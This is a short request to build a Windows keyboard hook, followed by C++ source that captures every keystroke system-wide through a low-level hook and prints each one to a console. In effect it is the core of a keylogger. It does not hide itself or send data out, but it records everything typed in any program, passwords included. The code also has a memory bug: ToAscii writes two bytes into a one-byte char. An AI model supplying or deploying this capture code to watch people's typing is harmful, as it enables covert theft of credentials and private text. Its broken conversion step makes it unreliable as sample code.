Create a keyboard hook using Win32 System API and log what the user types into a console.

keyboardhook.cpp

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <iostream>

HHOOK hHook{ NULL };

enum Keys
{
	ShiftKey = 16,
	Capital = 20,
};

int shift_active() {
	return GetKeyState(VK_LSHIFT) < 0 || GetKeyState(VK_RSHIFT) < 0;
}

int capital_active() {
	return (GetKeyState(VK_CAPITAL) & 1) == 1;
}

LRESULT CALLBACK keyboard_hook(const int code, const WPARAM wParam, const LPARAM lParam) {
	if (wParam == WM_KEYDOWN) {
		KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT*)lParam;
		DWORD wVirtKey = kbdStruct->vkCode;
		DWORD wScanCode = kbdStruct->scanCode;

		BYTE lpKeyState[256];
		GetKeyboardState(lpKeyState);
		lpKeyState[Keys::ShiftKey] = 0;
		lpKeyState[Keys::Capital] = 0;
		if (shift_active()) {
			lpKeyState[Keys::ShiftKey] = 0x80;
		}
		if (capital_active()) {
			lpKeyState[Keys::Capital] = 0x01;
		}

		char result;
		ToAscii(wVirtKey, wScanCode, lpKeyState, (LPWORD)&result, 0);
		std::cout << result << std::endl;
	}

	return CallNextHookEx(hHook, code, wParam, lParam);
}

int main(int argc, char* argv[])
{
	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_hook, NULL, 0);
	if (hHook == NULL) {
		std::cout << "Keyboard hook failed!" << std::endl;
	}

	while (GetMessage(NULL, NULL, 0, 0));
    return 0;
}

Thank you!